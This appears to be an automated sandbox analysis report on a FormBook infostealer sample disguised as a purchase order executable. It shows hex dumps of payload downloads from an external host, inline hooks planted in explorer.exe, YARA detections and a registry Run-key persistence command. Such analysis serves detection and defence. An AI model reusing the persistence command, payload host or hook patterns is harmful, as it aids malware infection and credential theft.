                                                                                          2024-11-21 15:33:01 UTC16384INData Raw: ac ba b2 ae ac ba af ae 43 06 ce ad ae ae ae 0d ac bc b0 ae ac ba b2 ae ac ba af ae 43 ac bc b1 ae ac ba b2 ae ac ba af ae ac ba b2 ae ac ba b0 ae 43 4c ac ba b2 ae ac ba b0 ae ac ba b1 ae 4c ac ba b3 ae ac ba b4 ae 82 2c 3c b0 ae b2 ac b7 ae ae ac ba b4 ae 82 3f ac ba b2 ae ac ba b2 ae ac ba af ae 43 ac ba b2 ae ac ba b0 ae 43 06 ce ad ae ae ae 0d 43 0f d6 3a b9 ae b4 4a ac ba b4 ae ce af ae ae ae 18 06 ac bc b4 ae ac ba b4 ae ac ba b3 ae 3c 17 ce af ae ae ae 07 18 ec dc ad ad ad ac ba b3 ae d8 ae c9 de b1 ae d5 ae ae ae af ae ae bf 2c 3d b0 ae b2 2c 32 b0 ae b2 d6 12 b9 ae b4 d6 3f b9 ae b4 ac b7 ae ae ac b7 b0 ae d6 d2 ae ae b4 8c b1 d4 8c ae d8 ae af be ae ae ae ae c2 ae bd d1 ae b1 af ae ae af c1 de b7 ae ab af ae ae af ae ae bf d9 c7 ac ba ae ae f3
                                                                                          Data Ascii: CCCLL,<?CCC:J<,=,2?
                                                                                          2024-11-21 15:33:01 UTC16384INData Raw: e5 af ae b8 2e dc ae ae b2 2c 5f b0 ae b2 2c dc ae ae b2 d6 d5 ba ae b4 2e db ae ae b2 ac b7 ae ae ac b7 ae ae d6 04 af ae b8 ce af ae ae ae 88 2b 09 ae ae b2 ac b7 ae ae ac b7 ae ae d6 13 af ae b8 ce af ae ae ae 88 2b 0a ae ae b2 21 d9 af ae b8 ac bc ae ae 2c 14 b0 ae b2 ce ae ae ae ae d6 b3 b9 ae b4 ac bc b2 ae e6 fe ad ad ad 21 d9 af ae b8 ac bc af ae 21 d9 af ae b8 ac bc b0 ae ce b6 ae ae ae ce b6 ae ae ae ac b7 ae ae 29 09 ae ae b2 ce be ae ae ae 88 ac b7 ae ae 29 0a ae ae b2 ce be ae ae ae 88 21 c9 af ae b8 2c db ae ae b2 ac bc b1 ae 2c 6b b0 ae b2 ac ba b1 ae ce b0 ae ae ae d6 f3 ba ae b4 2c 6c b0 ae b2 ac ba b1 ae ce b0 ae ae ae d6 f8 ba ae b4 2c 72 b0 ae b2 ac ba b1 ae ce b3 ae ae ae d6 11 ba ae b4 2c 6d b0 ae b2 ac ba b1 ae ac b7 ae ae 1d 14 af
                                                                                          Data Ascii: .,_,.++!,!!))!,,k,l,r,m
                                                                                          2024-11-21 15:33:01 UTC16384INData Raw: 21 d0 af ae b8 ac b7 ae ae ac ba b0 ae d6 62 af ae b8 ac bc b3 ae ac bb b3 ae d6 c7 af ae b8 ac b7 ae ae ac ba b0 ae d6 62 af ae b8 ac bc b3 ae ac bb b3 ae d6 c8 af ae b8 21 d8 af ae b8 d6 ce af ae b8 ac bb b2 ae ac bb b1 ae d6 cd af ae b8 ac bb b1 ae d6 c7 af ae b8 ac bb b1 ae d6 c8 af ae b8 21 d8 af ae b8 d6 ce af ae b8 ac ba b0 ae ac b7 ae ae d6 63 af ae b8 ee b5 b0 ae ae 2c 6e b0 ae b2 ac ba ae ae ac b7 ae ae 29 4b ae ae b2 21 a6 ae ae b8 ac ba b2 ae d6 02 ba ae b4 2c 6e b0 ae b2 ac ba ae ae ac b7 ae ae 29 4c ae ae b2 21 a6 ae ae b8 ac ba b2 ae d6 02 ba ae b4 ac b7 ae ae d6 64 af ae b8 e7 1c af ae ae ac b7 ae ae d6 64 af ae b8 1d 6a af ae b8 ac b7 ae ae d6 65 af ae b8 ac ba b0 ae 1d 66 af ae b8 1d 68 af ae b8 1d 6b af ae b8 e7 84 ae ae ae 2c 7c b0 ae
                                                                                          Data Ascii: !bb!!c,n)K!,n)L!ddjefhk,|
                                                                                          2024-11-21 15:33:01 UTC16384INData Raw: d6 b3 b9 ae b4 ac bc ae ae e6 fe ad ad ad ac b7 ae ae d6 0d af ae b8 d8 c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 82 ae ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b 82 ae ae b2 d8 ae ae c1 de b1 ae c7 ae ae ae af ae ae bf 2c 2b b0 ae b2 ac b7 ae ae 1d 2e af ae b4 1d 87 af ae b8 d6 f9 b9 ae b4 d8 ae ae ae c1 de b0 ae bd ae ae ae af ae ae bf ac b7 ae ae 1d 2e af ae b4 1d 88 af ae b8 d8 ae c1 de b0 ae c2 ae ae ae af ae ae bf ac b7 ae ae 1d 2e af ae b4 1d 86 af ae b8 1d 94 af ae b8 d8 c1 de b3 ae 96 ae ae ae c4 ae ae bf d9 c7 ac ba af ae f3 b2 ae ae ae f6 ae ae ae 61 ae ae ae 0d ae ae ae c4 ae ae ae ae 2c 14 b0 ae b2 ce ab ad ad ad d6 b3 b9 ae b4 ac bc af ae d9 7f ac b7 ae ae 1d 2e af ae b4 1d 89 af ae b8 1d 98 af ae
                                                                                          Data Ascii: )+,+...a,.
                                                                                          2024-11-21 15:33:01 UTC16384INData Raw: b4 ac bc af ae e6 22 ad ad ad ac ba ae ae ac b7 b2 ae 2b 42 af ae b2 ac b7 ae ae 29 ae af ae b2 ac b7 b0 ae ac b7 b3 ae 1d 4f ae ae b8 c5 d9 b1 c4 d9 ae da 83 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc af ae e6 df ad ad ad ac b7 ae ae ce ae ae ae ae d6 41 b2 ae b4 ce b1 ae ae ae d6 42 b2 ae b4 2c 9d b0 ae b2 2c 3f b0 ae b2 d6 49 b9 ae b4 ac ba ae ae 1d 9a b0 ae b4 d6 a7 ba ae b4 d6 c7 b0 ae b4 d4 d8 ae ae ae c9 de b2 ae e3 af ae ae f5 ae ae bf 2c 31 b0 ae b2 ac b7 b0 ae 1d 05 b1 ae b4 ce af ae ae ae d6 43 b2 ae b4 d6 0d b9 ae b4 e7 30 ae ae ae ac b7 b0 ae 1d 07 b1 ae b4 d6 94 b0 ae b4 ac bc ae ae ac ba ae ae da be ac ba ae ae 29 3e af ae b2 ce 76 ae ae ae dc c5 ac b7 ae ae ac ba ae ae 29 3e af ae b2 d6 b5 b0 ae b4 8b 81 ae ae ae ac b7 ae ae 29 ae
                                                                                          Data Ascii: "+B)O,AB,,?I,1C0)>v)>)
                                                                                          2024-11-21 15:33:01 UTC16384INData Raw: ae b4 d3 ac ba b3 ae 1d d8 b1 ae b4 d3 ac b7 b0 ae 1d da b1 ae b4 d3 ce ae ae ae ae 1d de b1 ae b4 ac bc b4 ae ac b7 ae ae 29 fb af ae b2 ac bc af ae ce ae ae ae ae ac bc b0 ae 2c a0 b0 ae b2 ac ba af ae ac bb b0 ae d6 b6 bb ae b4 ac b7 ae ae 29 fb af ae b2 1d 47 ae ae b8 ac b7 ae ae 29 ff af ae b2 1d 7e b0 ae b4 ac b2 ac bc ae ae ac ba ae ae e7 8e ae ae ae ac b7 ae ae 29 fb af ae b2 ac ba b4 ae 1d 46 ae ae b8 ce ce ae ae ae ce b1 ae ae ae d6 84 b2 ae b4 ac b7 af ae d6 88 b0 ae b4 ac b7 af ae 1d 9c b0 ae b4 ce b1 ae ae ae ee 51 ae ae ae ac ba b4 ae 1d d9 b1 ae b4 db fb ac b7 af ae 1d a0 b0 ae b4 ce af ae ae ae dc be ac b7 af ae 1d a0 b0 ae b4 ce b0 ae ae ae e1 db ac b7 ae ae 29 fe af ae b2 da 1b ac b7 ae ae 29 fe af ae b2 1d 8e b0 ae b4 ac ba b4 ae 1d df
                                                                                          Data Ascii: ),)G)~)FQ))
                                                                                          2024-11-21 15:33:01 UTC16384INData Raw: b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b4 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b4 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b5 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b5 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b6 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b6 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b7 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b7 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b8 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af
                                                                                          Data Ascii: )+)+)+)+)
                                                                                          2024-11-21 15:33:01 UTC16384INData Raw: c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e2 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e2 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e3 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e3 b0 ae b2 d8 ae ae 40 ac b7 ae ae d6 14 ae ae b8 ac b7 ae ae ac b7 af ae 2b e2 b0 ae b2 ac b7 ae ae ac b7 b0 ae 2b e3 b0 ae b2 d8 ae ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e4 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e4 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e5 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e5 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae
                                                                                          Data Ascii: )+)+@++)+)+


                                                                                          Session IDSource IPSource PortDestination IPDestination Port
                                                                                          12192.168.2.74997466.29.153.238443
                                                                                          TimestampBytes transferredDirectionData
                                                                                          2024-11-21 15:33:16 UTC64OUTGET /1454 HTTP/1.1
                                                                                          Host: rn3-sa.com
                                                                                          Connection: Keep-Alive
                                                                                          2024-11-21 15:33:16 UTC249INHTTP/1.1 200 OK
                                                                                          keep-alive: timeout=5, max=100
                                                                                          last-modified: Wed, 20 Nov 2024 16:37:08 GMT
                                                                                          accept-ranges: bytes
                                                                                          content-length: 578048
                                                                                          date: Thu, 21 Nov 2024 15:33:16 GMT
                                                                                          server: LiteSpeed
                                                                                          x-turbo-charged-by: LiteSpeed
                                                                                          connection: close
                                                                                          2024-11-21 15:33:16 UTC16384INData Raw: fb 08 3e ae b1 ae ae ae b2 ae ae ae ad ad ae ae 66 ae ae ae ae ae ae ae ee ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae ae 2e ae ae ae bc cd 68 bc ae 62 b7 7b cf 66 af fa 7b cf 02 16 17 21 ce 1e 20 1d 15 20 0f 1b ce 11 0f 1c 1c 1d 22 ce 10 13 ce 20 23 1c ce 17 1c ce f2 fd 01 ce 1b 1d 12 13 dc bb bb b8 d2 ae ae ae ae ae ae ae fe f3 ae ae fa af b1 ae 47 cf 1c 94 ae ae ae ae ae ae ae ae 8e ae b0 cf b9 af de ae ae 7a b6 ae ae 7c b6 ae ae ae ae ae a8 97 b6 ae ae ce ae ae ae ce b7 ae ae ae ee ae ae ce ae ae ae b0 ae ae b2 ae ae ae ae ae ae ae b2 ae ae ae ae ae ae ae ae ee b7 ae ae b0 ae ae ae ae ae ae b1 ae ee 33 ae ae be ae ae be ae ae ae ae be ae ae be ae ae ae ae ae ae be ae ae ae ae ae ae ae ae ae ae
                                                                                          Data Ascii: >f.hb{f{! " #Gz|3
                                                                                          2024-11-21 15:33:17 UTC6016INData Raw: ae ac b8 ae ae d6 c7 af ae b8 ac ba af ae 88 ac b8 ae ae d6 ca af ae b8 84 ac b8 ae ae d6 cb af ae b8 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae 62 70 d0 ae ae 62 f0 d6 bd b9 ae b4 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 c7 af ae b8 ac ba af ae 88 ac b8 ae ae d6 ca af ae b8 84 ac b8 ae ae d6 c8 af ae b8 ac ba af ae 88 ac b8 ae ae d6 cb af ae b8 84 ac ba af ae ac ba af ae 21 c9 af ae b8 d0 ae ae ae ae d0 ae ae 62 f0 d6 bd b9 ae b4 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc b1 ae e6 25 a8 ad ad e6 34 b0 ae ae ac ba ae ae ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 ce af ae ae ae 84 21 d0 af ae b8 ac b8 ae ae d6 ca af ae b8 ac b8 ae ae d6 cb af ae b8 21 d0 af ae b8 1d de af ae b8 2c 17 b0 ae b2 ac ba ae ae ac b8 ae ae d6 c7 af ae b8
                                                                                          Data Ascii: !bpb,!b,%4!!,
                                                                                          2024-11-21 15:33:17 UTC16384INData Raw: ac ba b2 ae ac ba af ae 43 06 ce ad ae ae ae 0d ac bc b0 ae ac ba b2 ae ac ba af ae 43 ac bc b1 ae ac ba b2 ae ac ba af ae ac ba b2 ae ac ba b0 ae 43 4c ac ba b2 ae ac ba b0 ae ac ba b1 ae 4c ac ba b3 ae ac ba b4 ae 82 2c 3c b0 ae b2 ac b7 ae ae ac ba b4 ae 82 3f ac ba b2 ae ac ba b2 ae ac ba af ae 43 ac ba b2 ae ac ba b0 ae 43 06 ce ad ae ae ae 0d 43 0f d6 3a b9 ae b4 4a ac ba b4 ae ce af ae ae ae 18 06 ac bc b4 ae ac ba b4 ae ac ba b3 ae 3c 17 ce af ae ae ae 07 18 ec dc ad ad ad ac ba b3 ae d8 ae c9 de b1 ae d5 ae ae ae af ae ae bf 2c 3d b0 ae b2 2c 32 b0 ae b2 d6 12 b9 ae b4 d6 3f b9 ae b4 ac b7 ae ae ac b7 b0 ae d6 d2 ae ae b4 8c b1 d4 8c ae d8 ae af be ae ae ae ae c2 ae bd d1 ae b1 af ae ae af c1 de b7 ae ab af ae ae af ae ae bf d9 c7 ac ba ae ae f3
                                                                                          Data Ascii: CCCLL,<?CCC:J<,=,2?
                                                                                          2024-11-21 15:33:17 UTC16384INData Raw: e5 af ae b8 2e dc ae ae b2 2c 5f b0 ae b2 2c dc ae ae b2 d6 d5 ba ae b4 2e db ae ae b2 ac b7 ae ae ac b7 ae ae d6 04 af ae b8 ce af ae ae ae 88 2b 09 ae ae b2 ac b7 ae ae ac b7 ae ae d6 13 af ae b8 ce af ae ae ae 88 2b 0a ae ae b2 21 d9 af ae b8 ac bc ae ae 2c 14 b0 ae b2 ce ae ae ae ae d6 b3 b9 ae b4 ac bc b2 ae e6 fe ad ad ad 21 d9 af ae b8 ac bc af ae 21 d9 af ae b8 ac bc b0 ae ce b6 ae ae ae ce b6 ae ae ae ac b7 ae ae 29 09 ae ae b2 ce be ae ae ae 88 ac b7 ae ae 29 0a ae ae b2 ce be ae ae ae 88 21 c9 af ae b8 2c db ae ae b2 ac bc b1 ae 2c 6b b0 ae b2 ac ba b1 ae ce b0 ae ae ae d6 f3 ba ae b4 2c 6c b0 ae b2 ac ba b1 ae ce b0 ae ae ae d6 f8 ba ae b4 2c 72 b0 ae b2 ac ba b1 ae ce b3 ae ae ae d6 11 ba ae b4 2c 6d b0 ae b2 ac ba b1 ae ac b7 ae ae 1d 14 af
                                                                                          Data Ascii: .,_,.++!,!!))!,,k,l,r,m
                                                                                          2024-11-21 15:33:17 UTC16384INData Raw: 21 d0 af ae b8 ac b7 ae ae ac ba b0 ae d6 62 af ae b8 ac bc b3 ae ac bb b3 ae d6 c7 af ae b8 ac b7 ae ae ac ba b0 ae d6 62 af ae b8 ac bc b3 ae ac bb b3 ae d6 c8 af ae b8 21 d8 af ae b8 d6 ce af ae b8 ac bb b2 ae ac bb b1 ae d6 cd af ae b8 ac bb b1 ae d6 c7 af ae b8 ac bb b1 ae d6 c8 af ae b8 21 d8 af ae b8 d6 ce af ae b8 ac ba b0 ae ac b7 ae ae d6 63 af ae b8 ee b5 b0 ae ae 2c 6e b0 ae b2 ac ba ae ae ac b7 ae ae 29 4b ae ae b2 21 a6 ae ae b8 ac ba b2 ae d6 02 ba ae b4 2c 6e b0 ae b2 ac ba ae ae ac b7 ae ae 29 4c ae ae b2 21 a6 ae ae b8 ac ba b2 ae d6 02 ba ae b4 ac b7 ae ae d6 64 af ae b8 e7 1c af ae ae ac b7 ae ae d6 64 af ae b8 1d 6a af ae b8 ac b7 ae ae d6 65 af ae b8 ac ba b0 ae 1d 66 af ae b8 1d 68 af ae b8 1d 6b af ae b8 e7 84 ae ae ae 2c 7c b0 ae
                                                                                          Data Ascii: !bb!!c,n)K!,n)L!ddjefhk,|
                                                                                          2024-11-21 15:33:17 UTC16384INData Raw: d6 b3 b9 ae b4 ac bc ae ae e6 fe ad ad ad ac b7 ae ae d6 0d af ae b8 d8 c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 82 ae ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b 82 ae ae b2 d8 ae ae c1 de b1 ae c7 ae ae ae af ae ae bf 2c 2b b0 ae b2 ac b7 ae ae 1d 2e af ae b4 1d 87 af ae b8 d6 f9 b9 ae b4 d8 ae ae ae c1 de b0 ae bd ae ae ae af ae ae bf ac b7 ae ae 1d 2e af ae b4 1d 88 af ae b8 d8 ae c1 de b0 ae c2 ae ae ae af ae ae bf ac b7 ae ae 1d 2e af ae b4 1d 86 af ae b8 1d 94 af ae b8 d8 c1 de b3 ae 96 ae ae ae c4 ae ae bf d9 c7 ac ba af ae f3 b2 ae ae ae f6 ae ae ae 61 ae ae ae 0d ae ae ae c4 ae ae ae ae 2c 14 b0 ae b2 ce ab ad ad ad d6 b3 b9 ae b4 ac bc af ae d9 7f ac b7 ae ae 1d 2e af ae b4 1d 89 af ae b8 1d 98 af ae
                                                                                          Data Ascii: )+,+...a,.
                                                                                          2024-11-21 15:33:17 UTC16384INData Raw: b4 ac bc af ae e6 22 ad ad ad ac ba ae ae ac b7 b2 ae 2b 42 af ae b2 ac b7 ae ae 29 ae af ae b2 ac b7 b0 ae ac b7 b3 ae 1d 4f ae ae b8 c5 d9 b1 c4 d9 ae da 83 2c 14 b0 ae b2 ce ad ad ad ad d6 b3 b9 ae b4 ac bc af ae e6 df ad ad ad ac b7 ae ae ce ae ae ae ae d6 41 b2 ae b4 ce b1 ae ae ae d6 42 b2 ae b4 2c 9d b0 ae b2 2c 3f b0 ae b2 d6 49 b9 ae b4 ac ba ae ae 1d 9a b0 ae b4 d6 a7 ba ae b4 d6 c7 b0 ae b4 d4 d8 ae ae ae c9 de b2 ae e3 af ae ae f5 ae ae bf 2c 31 b0 ae b2 ac b7 b0 ae 1d 05 b1 ae b4 ce af ae ae ae d6 43 b2 ae b4 d6 0d b9 ae b4 e7 30 ae ae ae ac b7 b0 ae 1d 07 b1 ae b4 d6 94 b0 ae b4 ac bc ae ae ac ba ae ae da be ac ba ae ae 29 3e af ae b2 ce 76 ae ae ae dc c5 ac b7 ae ae ac ba ae ae 29 3e af ae b2 d6 b5 b0 ae b4 8b 81 ae ae ae ac b7 ae ae 29 ae
                                                                                          Data Ascii: "+B)O,AB,,?I,1C0)>v)>)
                                                                                          2024-11-21 15:33:17 UTC16384INData Raw: ae b4 d3 ac ba b3 ae 1d d8 b1 ae b4 d3 ac b7 b0 ae 1d da b1 ae b4 d3 ce ae ae ae ae 1d de b1 ae b4 ac bc b4 ae ac b7 ae ae 29 fb af ae b2 ac bc af ae ce ae ae ae ae ac bc b0 ae 2c a0 b0 ae b2 ac ba af ae ac bb b0 ae d6 b6 bb ae b4 ac b7 ae ae 29 fb af ae b2 1d 47 ae ae b8 ac b7 ae ae 29 ff af ae b2 1d 7e b0 ae b4 ac b2 ac bc ae ae ac ba ae ae e7 8e ae ae ae ac b7 ae ae 29 fb af ae b2 ac ba b4 ae 1d 46 ae ae b8 ce ce ae ae ae ce b1 ae ae ae d6 84 b2 ae b4 ac b7 af ae d6 88 b0 ae b4 ac b7 af ae 1d 9c b0 ae b4 ce b1 ae ae ae ee 51 ae ae ae ac ba b4 ae 1d d9 b1 ae b4 db fb ac b7 af ae 1d a0 b0 ae b4 ce af ae ae ae dc be ac b7 af ae 1d a0 b0 ae b4 ce b0 ae ae ae e1 db ac b7 ae ae 29 fe af ae b2 da 1b ac b7 ae ae 29 fe af ae b2 1d 8e b0 ae b4 ac ba b4 ae 1d df
                                                                                          Data Ascii: ),)G)~)FQ))
                                                                                          2024-11-21 15:33:17 UTC16384INData Raw: b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b4 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b4 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b5 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b5 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b6 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b6 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b7 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b b7 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 b8 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af
                                                                                          Data Ascii: )+)+)+)+)
                                                                                          2024-11-21 15:33:17 UTC16384INData Raw: c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e2 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e2 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e3 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e3 b0 ae b2 d8 ae ae 40 ac b7 ae ae d6 14 ae ae b8 ac b7 ae ae ac b7 af ae 2b e2 b0 ae b2 ac b7 ae ae ac b7 b0 ae 2b e3 b0 ae b2 d8 ae ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e4 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e4 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae ae af ae ae bf ac b7 ae ae 29 e5 b0 ae b2 d8 ae ae c1 de b1 ae bc ae ae ae af ae ae bf ac b7 ae ae ac b7 af ae 2b e5 b0 ae b2 d8 ae ae c1 de b0 ae b8 ae ae
                                                                                          Data Ascii: )+)+@++)+)+


                                                                                          Code Manipulations

                                                                                          User Modules

                                                                                          Hook Summary

                                                                                          Function NameHook TypeActive in Processes
                                                                                          PeekMessageAINLINEexplorer.exe
                                                                                          PeekMessageWINLINEexplorer.exe
                                                                                          GetMessageWINLINEexplorer.exe
                                                                                          GetMessageAINLINEexplorer.exe

                                                                                          Processes

                                                                                          Process: explorer.exe, Module: user32.dll
                                                                                          Function NameHook TypeNew Data
                                                                                          PeekMessageAINLINE0x48 0x8B 0xB8 0x8B 0xBE 0xE7
                                                                                          PeekMessageWINLINE0x48 0x8B 0xB8 0x83 0x3E 0xE7
                                                                                          GetMessageWINLINE0x48 0x8B 0xB8 0x83 0x3E 0xE7
                                                                                          GetMessageAINLINE0x48 0x8B 0xB8 0x8B 0xBE 0xE7

                                                                                          Statistics

                                                                                          CPU Usage

                                                                                          Click to jump to process

                                                                                          Memory Usage

                                                                                          Click to jump to process

                                                                                          High Level Behavior Distribution

                                                                                          Click to dive into process behavior distribution

                                                                                          Behavior

                                                                                          Click to jump to process

                                                                                          System Behavior

                                                                                          General

                                                                                          Target ID:1
                                                                                          Start time:10:31:03
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Users\user\Desktop\New PO 796512.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:"C:\Users\user\Desktop\New PO 796512.exe"
                                                                                          Imagebase:0xcf0000
                                                                                          File size:22'016 bytes
                                                                                          MD5 hash:223B42ADC2E6EEB342664FFA633C3A6A
                                                                                          Has elevated privileges:true
                                                                                          Has administrator privileges:true
                                                                                          Programmed in:C, C++ or other language
                                                                                          Yara matches:
                                                                                          • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.1364486717.0000000004194000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1364486717.0000000004194000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.1364486717.0000000004194000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                          • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.1364486717.0000000004194000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                          • Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.1364486717.0000000004194000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                          • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.1364486717.0000000004059000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1364486717.0000000004059000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.1364486717.0000000004059000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                          • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.1364486717.0000000004059000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                          • Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.1364486717.0000000004059000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                          • Rule: JoeSecurity_FormBook, Description: Yara detected FormBook, Source: 00000001.00000002.1364486717.0000000004146000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000001.00000002.1364486717.0000000004146000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security
                                                                                          • Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000001.00000002.1364486717.0000000004146000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
                                                                                          • Rule: Formbook_1, Description: autogenerated rule brought to you by yara-signator, Source: 00000001.00000002.1364486717.0000000004146000.00000004.00000800.00020000.00000000.sdmp, Author: Felix Bilstein - yara-signator at cocacoding dot com
                                                                                          • Rule: Formbook, Description: detect Formbook in memory, Source: 00000001.00000002.1364486717.0000000004146000.00000004.00000800.00020000.00000000.sdmp, Author: JPCERT/CC Incident Response Group
                                                                                          Reputation:low
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:8
                                                                                          Start time:10:31:09
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\cmd.exe
                                                                                          Wow64 process (32bit):true
                                                                                          Commandline:cmd /c REG ADD "HKCU\SOFTWARE\Microsoft\Windows\CurrentVersion\Run" /V "New PO 796512" /t REG_SZ /F /D "C:\Users\user\Documents\New PO 796512.pif"
                                                                                          Imagebase:0x500000
                                                                                          File size:236'544 bytes
                                                                                          MD5 hash:D0FCE3AFA6AA1D58CE9FA336CC2B675B
                                                                                          Has elevated privileges:true
                                                                                          Has administrator privileges:true
                                                                                          Programmed in:C, C++ or other language
                                                                                          Reputation:high
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:9
                                                                                          Start time:10:31:09
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\System32\conhost.exe
                                                                                          Wow64 process (32bit):false
                                                                                          Commandline:C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
                                                                                          Imagebase:0x7ff75da10000
                                                                                          File size:862'208 bytes
                                                                                          MD5 hash:0D698AF330FD17BEE3BF90011D49251D
                                                                                          Has elevated privileges:true
                                                                                          Has administrator privileges:true
                                                                                          Programmed in:C, C++ or other language
                                                                                          Reputation:high
                                                                                          Has exited:true

                                                                                          General

                                                                                          Target ID:10
                                                                                          Start time:10:31:10
                                                                                          Start date:21/11/2024
                                                                                          Path:C:\Windows\SysWOW64\reg.exe
                                                                                          Wow64 process (32bit):true
